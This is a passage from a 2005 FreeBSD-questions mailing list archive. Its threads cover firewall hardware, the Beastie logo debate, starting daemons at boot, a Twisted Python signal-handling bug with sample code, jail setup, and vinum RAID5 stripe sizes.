ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card).  
The firewall croaked on me (motherboard died).  As a quick fix, 
I plugged in a Linksys BEFSX41.

My Question is, should I build a new Freebsd firewall or just 
continue using the Linksys ? Throughput and security are my 
concern.  I can have up to 20 machines on the LAN at one time
using the internet, so traffic throughput is a factor.

You should use the Linksys if you are comfortable with it. It does use 
less electricity.

If you are really concerned with security and perforance, I recommend at 
least 500 MHz and 256 MB RAM. I have used Intel/3Com cards and both are 
reliable. I recommend using PF though.

I am working on a replacement firewall right now. I am using a Sun Ultra 
5 (360MHz) with a quad ethernet card. It will be running OpenBSD and PF.
I may using FreeBSD though, because I want to use ntop and ntop does not 
work on OpenBSD.

Hope that helps.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Oliver Leitner
if we dont take care of the little things around us, what right do we have 
to be upset on the bigger ones?

On Wednesday 09 February 2005 20:28, sp0ng3b0b wrote:
 Charles-André Landemaine wrote:
  This will sign the death of FreeBSD.
  Oh please, wake me up, it's a nightmare!!!

 Come on now, is changing the logo ALL that BAD? Companies and
 organizations do it all the time. Who cares? It's not like a new logo
 will introduce new bugs and vulnerabilities in your OS!

 Change is good. Time to try something different. I think some folks
 should relax and not get too upset. There are worse things going on in
 the world...

 ...my 2 cents...
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to
 [EMAIL PROTECTED]

-- 
By reading this mail you agree to the following:

using or giving out the email address and any 
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail 
will take possible legal actions against the abuse.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: start of daemons

2005-02-09 Thread Louis LeBlanc
On 02/09/05 08:32 PM, [EMAIL PROTECTED] sat at the `puter and typed:
 Hello,
 
 I have installed apache and spamd from source and would like for them to 
 start on bootup. How do I do that? (there are no .sh scripts for them in 
 /usr/local/etc/rc.d)

You really need to install them from the ports to get that done for you.

Keep in mind that for some, you'll also need to put an enabler in
/etc/rc.conf, so watch the output after the port is installed.

BTW, any time there's a port for an application, it is generally
recommended that you use the port.  They are usually much easier to
install, upgrade, and if you wish, remove.

Good luck

Lou
-- 
Louis LeBlanc  FreeBSD-at-keyslapper-DOT-net
Fully Funded Hobbyist,   KeySlapper Extrordinaire :)
Please send off-list email to: leblanc at keyslapper d.t net
Key fingerprint = C5E7 4762 F071 CE3B ED51  4FB8 AF85 A2FE 80C8 D9A2

QOTD:
  I only touch base with reality on an as-needed basis!


pgp4Ctc1rXwcQ.pgp
Description: PGP signature


Re: start of daemons

2005-02-09 Thread Mark Ovens
[EMAIL PROTECTED] wrote:
Hello,
I have installed apache and spamd from source and would like for them
to start on bootup. How do I do that? (there are no .sh scripts for
them in /usr/local/etc/rc.d)
For apache add ''apache_enable=YES'' to /etc/rc.conf
There should be apache.sh in /usr/local/etc/rc.d - the port installs it. 
How did you install apache?

Should be a similar method for spamd.
Mark
---
avast! Antivirus: Outbound message clean.
Virus Database (VPS): 0506-0, 08/02/2005
Tested on: 09/02/2005 19:37:36
avast! - copyright (c) 2000-2004 ALWIL Software.
http://www.avast.com

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Thread/Signal problem with threaded python app on 5.3

2005-02-09 Thread Payment Online
I have a client/server application written in python/twisted and on
freebsd 5.3 the server won't shut down correctly with SIGINT or
SIGTERM, instead requiring a SIGKILL.  The twist is that if I send the
server a signal, it will shut down on the next request from the
client.  In that case it shuts down immediately when the client
connects and closes the connection before it's fully established.

The server will also shut down correctly if it hasn't yet accepted any
connections from a client.

 This is on freebsd 5.3-release-p2 with python 2.4 and twisted both
installed from ports.  I am using the default libpthreads and python
is compiled to use threads.  I tested it on Debian (sarge) and the
signals work fine.

It's like there is some sort of event loop that isn't working
correctly.  Freebsd is obviously getting the signal, but it doesn't
act on it until another request comes in from the client.  Also for
those that aren't familiar with twisted this application opens a
thread for every request.

Below is some simple code that will run if you have twisted.  Sorry I
don't have a more simple test case, but I'm fairly new to python (and
threads), and writing something from scratch would take a while.

Server (save server to test.tac and start with twistd -noy test.tac)
---
from twisted.application import service,internet
from twisted.internet.protocol import Protocol, Factory
from twisted.internet import defer, reactor
from twisted.python import threadable
from twisted.internet import threads
from twisted.python import log
threadable.init(1)
import sys

class ProcessTransaction:

  def Do(self,data):
  return 'Done'


### Protocol Implementation

class OT(Protocol):
def dataReceived(self, data):
  As soon as any data is received, process it in a thread.
  reactor.callLater(0, self.Start,data)

def PrintData(self,data):
  self.transport.write(%s\r\n % data)
  self.transport.loseConnection()

def Start(self,data):
  c = ProcessTransaction()
  d = threads.deferToThread(c.Do,data)
  d.addCallback(self.PrintData)
  d.addErrback(log.err)


application = service.Application(otransact)
OTService = service.IServiceCollection(application)
OTfactory = Factory()
OTfactory.protocol = OT
OTServer = internet.TCPServer(8000, OTfactory)
OTServer.setServiceParent(OTService)



Client (just run as python test.py)
--
import sys
import time

from twisted.internet.protocol import ClientFactory
from twisted.protocols.basic import LineReceiver
from twisted.internet import reactor

class EchoClient(LineReceiver):
end=GoodBye
def connectionMade(self):
self.sendLine(Testing)

def connectionLost(self, reason):
print 'connection lost (protocol)'
reactor.stop()

def lineReceived(self, line):
print receive:, line
self.transport.loseConnection()

class EchoClientFactory(ClientFactory):
protocol = EchoClient

def clientConnectionFailed(self, connector, reason):
print 'connection failed:', reason.getErrorMessage()
reactor.stop()

def clientConnectionLost(self, connector, reason):
print 'connection lost:', reason.getErrorMessage()
reactor.stop()


def main():
factory = EchoClientFactory()
reactor.connectTCP('localhost', 8000, factory)
reactor.run()


if __name__ == '__main__':
main()
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Guillermo Garcia-Rojas
I think we all are happy with beastie, there is no reason to change
it, if some idiots think it's evil, that's their problem.

I hope no one sends a new logo for the contest, and if what FreeBSD
Project wants is a new FreeBSD type of font, or style, then do it,
but don't blow beastie away.

It would be better to give beastie a BSD license :)

On Wed, 9 Feb 2005 20:29:18 +0100, Oliver Leitner [EMAIL PROTECTED] wrote:
 if we dont take care of the little things around us, what right do we have
 to be upset on the bigger ones?
 
 On Wednesday 09 February 2005 20:28, sp0ng3b0b wrote:
  Charles-André Landemaine wrote:
   This will sign the death of FreeBSD.
   Oh please, wake me up, it's a nightmare!!!
 
  Come on now, is changing the logo ALL that BAD? Companies and
  organizations do it all the time. Who cares? It's not like a new logo
  will introduce new bugs and vulnerabilities in your OS!
 
  Change is good. Time to try something different. I think some folks
  should relax and not get too upset. There are worse things going on in
  the world...
 
  ...my 2 cents...
  ___
  freebsd-questions@freebsd.org mailing list
  http://lists.freebsd.org/mailman/listinfo/freebsd-questions
  To unsubscribe, send any mail to
  [EMAIL PROTECTED]
 
 --
 By reading this mail you agree to the following:
 
 using or giving out the email address and any
 other info of the author of this email is strictly forbidden.
 By acting against this agreement the author of this mail
 will take possible legal actions against the abuse.
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to [EMAIL PROTECTED]
 


-- 
---
Guillermo García Rojas Covarrubias
Director General 
SoloBSD
http://www.solobsd.org
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: start of daemons

2005-02-09 Thread Kevin Kinsey
[EMAIL PROTECTED] wrote:
Hello,
I have installed apache and spamd from source and would like for them to start 
on bootup. How do I do that? (there are no .sh scripts for them in 
/usr/local/etc/rc.d)
Thanks for your time.
Regards
Peter
 

Scripts are great, but in a pinch you can add entries to
root's crontab using @reboot in place of the usual fields
for min-hour-day and friends...
I've used this before when installing from source:
@reboot /usr/local/sbin/apachectl start
Kevin Kinsey
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Please don't change Beastie to another crap logo such as NetBSD!!!

2005-02-09 Thread Timothy Luoma
On Feb 9, 2005, at 1:56 PM, Chad Morland wrote:
On Wed, 09 Feb 2005 18:48:19 +, Mark Ovens [EMAIL PROTECTED] 
wrote:
See the thread The FreeBSD Project is announcing a public competition
for the new logo design.  in -advocacy - I've already replied 
with
my views on the subject, along the same lines as your comments.
I'm not subscribed to -advocacy can you provide me with an archive
link to this thread in question? I wasn't able to find it based on the
subject you provided.
Put freebsd advocacy into Google, click on the link for the list, 
click on the link for the archive, and check out February's posts.

There are a total of 4 posts listed, 3 of them with the Subject:
	
	The FreeBSD Project is announcing a public competition for the new 
logo design. 

How hard was that ?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


jail manpage

2005-02-09 Thread Josh Paetzel
I've been trying get jails working on my 5.3-RELEASE-p2 machine.  I've 
tried following the instructions in man 8 jail

D=/here/is/the/jail
cd /usr/src
mkdir -p $D
make world DESTDIR=$D
cd etc
make distribution DESTDIR=$D
mount_devfs devfs $D/dev
cd $D
ln -sf dev/null kernel

It dies at make world DESTDIR=$D with the following error:

cc -0 -pipe -I/usr/obj/usr/src/i386/legacy/usr/include
c/usr/src/games/fortune/strfile/strfile.c
 
make: don't know how to make /jail/test/usr/lib/libc.a. Stop
***Error code 2
Stopping /usr/src

Surprisingly I found a post to -questions that has the exact same 
error using the same commands that I did.  The thread never does make 
clear as to whether the poster got it working.

[EMAIL PROTECTED]


I found a tutorial @ 
http://www.samag.com/documents/s=1151/sam0105d/0105d.htm

D=/home/jpaetzel/jail
cd /usr/src
make hierarchy DESTDIR=$D
make obj
make depend
make all
make install DESTDIR=$D
cd $D
ln -sf dev/null kernel
ifconfig fxp0 alias 10.0.0.11 netmask 255.255.255.255

start the jail:
jail /home/jpaetzel/jail jail.tcbug.org /bin/sh

I'm still unclear on how to start the jail at boot time

I put the following into /etc/rc.conf

jail_enable=YES
jail_list=vjail
jail_vjail_rootdir=/home/jpaetzel/jail
jail_vjail_hostname=jail.tcbug.org
jail_vjail_ip=10.0.0.11
jail_vjail_exec=/bin/sh /etc/rc

As far as I  can tell jail is not starting at boot time.

I know I'm sort of rambling (I'm trying to document as I go here) if 
someone can spot my mistakes I'd appreciate it. :)

-- 
Thanks,

Josh Paetzel

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: vinum in 4.x poor performer?

2005-02-09 Thread Marc G. Fournier
On Wed, 9 Feb 2005, Mark A. Garcia wrote:
Marc G. Fournier wrote:
Self-followup .. the server config is as follows ... did I do maybe 
mis-configure the array?

# Vinum configuration of neptune.hub.org, saved at Wed Feb  9 00:13:52 2005
drive d0 device /dev/da1s1a
drive d1 device /dev/da2s1a
drive d2 device /dev/da3s1a
drive d3 device /dev/da4s1a
volume vm
plex name vm.p0 org raid5 1024s vol vm sd name vm.p0.s0 drive d0 plex vm.p0 
len 142314496s driveoffset 265s plexoffset 0s
sd name vm.p0.s1 drive d1 plex vm.p0 len 142314496s driveoffset 265s 
plexoffset 1024s
sd name vm.p0.s2 drive d2 plex vm.p0 len 142314496s driveoffset 265s 
plexoffset 2048s
sd name vm.p0.s3 drive d3 plex vm.p0 len 142314496s driveoffset 265s 
plexoffset 3072s

bassed on an initial config file that looks like:
neptune# cat /root/raid5
drive d0 device /dev/da1s1a
drive d1 device /dev/da2s1a
drive d2 device /dev/da3s1a
drive d3 device /dev/da4s1a
volume vm
 plex org raid5 512k
 sd length 0 drive d0
 sd length 0 drive d1
 sd length 0 drive d2
 sd length 0 drive d3
It's worth pointing out that your performance on the raid-5 can change for 
the better if you avoid having the stripe size be a power of 2.  This is 
especially true if the (n)umber of disks are a 2^n.
I read that somewhere, but then every example shows 256k as being the 
strip size :(  Now, with a 5 drives RAID5 array (which I'll be moving that 
server to over the next couple of weeks), 256k isn't an issue?  or is 
there something better i should set it to?


Marc G. Fournier   Hub.Org Networking Services (http://www.hub.org)
Email: [EMAIL PROTECTED]   Yahoo!: yscrappy  ICQ: 7615664
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


  1   2   >